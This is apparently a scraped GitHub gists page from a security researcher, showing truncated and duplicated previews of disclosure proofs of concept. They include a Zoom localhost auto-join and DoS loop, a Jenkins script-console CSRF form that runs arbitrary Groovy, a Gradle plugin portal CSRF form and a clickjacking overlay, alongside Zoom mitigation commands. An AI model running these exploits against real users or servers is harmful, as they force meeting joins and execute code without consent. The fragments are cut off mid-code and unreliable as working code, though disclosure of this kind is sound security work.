Jonathan Leitschuh JLLeitschuh

## CVE Numbers.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                JLLeitschuh
                / CVE Numbers.md
            
            
              Last active
              October 30, 2019 18:22
            
          
    CVE Numbers for Discovered Vulnerabilities

This is just a simple location I'm using to keep a running list of vulnerabilities I've discovered
or have participated in the discovery of.

I decided to move this to Google Sheets. Too complicated to keep the formatting straight here:
https://docs.google.com/spreadsheets/d/1Qj0gpocVWLYarIoYZmT-vCwWmZC6kXZ3DdNV_lPmXcc/edit?usp=sharing

  
## disable_video_by_default_for_zoom.sh
# For just your local account
defaults write ~/Library/Preferences/us.zoom.config.plist ZDisableVideo 1
# For all users on the machine
sudo defaults write /Library/Preferences/us.zoom.config.plist ZDisableVideo 1

## permanent_zoom_server_remover.sh
rm -rf ~/.zoomus
touch ~/.zoomus

## zoom_poc_dos.html
<body>
<script>
// It's actually better if this number isn't a valid zoom number.
var attackNumber = "694138052"

setInterval(function(){
  var image = document.createElement("img");
  // Use a date to bust the browser's cache
  var date = new Date();
  image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();

## zoom_poc_iframe.html
<iframe src="https://zoom.us/j/492468757"/>

## zoom_simple.txt
http://localhost:19421/launch?action=join&confno=[some confrence number]

## UploadToArtifactory.kt
/* ****************************************************************************** */
// MIT License
//
// Copyright (c) 2019 Hewlett Packard Enterprise Development LP
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is

## jenkins-csrf.html
<html>
  <body>
    <form action="http://corperate-jenkins.lab.com:8080/script" method="POST">
      <input type="hidden" name="script"
             value="println 'Hello! I just ran an arbitrary bit of code on Jenkins!'; println Jenkins.instance.slaves"/>
      <input type="submit" value="Submit!"/>
    </form>
  </body>
</html>

## plugin-portal-csrf.html
<?xml version="1.0" encoding="UTF-8"?>
<html>
  <head></head>
  <body>
    <form action="https://plugins.gradle.org/user" method="POST" class="edit-profile-form" _lpchecked="1">
      <dl id="name_field">
        <dt>
          <label for="name"></label>
        </dt>
        <dd>

## plugin-portal-clickjack.html
<html>
<head>
    <style>
        iframe { /* iframe from the victim site */
            width: 400px;
            height: 100px;
            position: absolute;
            top: 0;
            left: -20px;
            opacity: 0.5; /* in real opacity:0 */
	# For just your local account
	defaults write ~/Library/Preferences/us.zoom.config.plist ZDisableVideo 1
	# For all users on the machine
	sudo defaults write /Library/Preferences/us.zoom.config.plist ZDisableVideo 1
	<body>
	<script>
	// It's actually better if this number isn't a valid zoom number.
	var attackNumber = "694138052"

	setInterval(function(){
	var image = document.createElement("img");
	// Use a date to bust the browser's cache
	var date = new Date();
	image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();
	/* ****************************************************************************** */
	// MIT License
	//
	// Copyright (c) 2019 Hewlett Packard Enterprise Development LP
	//
	// Permission is hereby granted, free of charge, to any person obtaining a copy
	// of this software and associated documentation files (the "Software"), to deal
	// in the Software without restriction, including without limitation the rights
	// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
	// copies of the Software, and to permit persons to whom the Software is
	<html>
	<body>
	<form action="http://corperate-jenkins.lab.com:8080/script" method="POST">
	<input type="hidden" name="script"
	value="println 'Hello! I just ran an arbitrary bit of code on Jenkins!'; println Jenkins.instance.slaves"/>
	<input type="submit" value="Submit!"/>
	</form>
	</body>
	</html>
	<?xml version="1.0" encoding="UTF-8"?>
	<html>
	<head></head>
	<body>
	<form action="https://plugins.gradle.org/user" method="POST" class="edit-profile-form" _lpchecked="1">
	<dl id="name_field">
	<dt>
	<label for="name"></label>
	</dt>
	<dd>
	<html>
	<head>
	<style>
	iframe { /* iframe from the victim site */
	width: 400px;
	height: 100px;
	position: absolute;
	top: 0;
	left: -20px;
	opacity: 0.5; /* in real opacity:0 */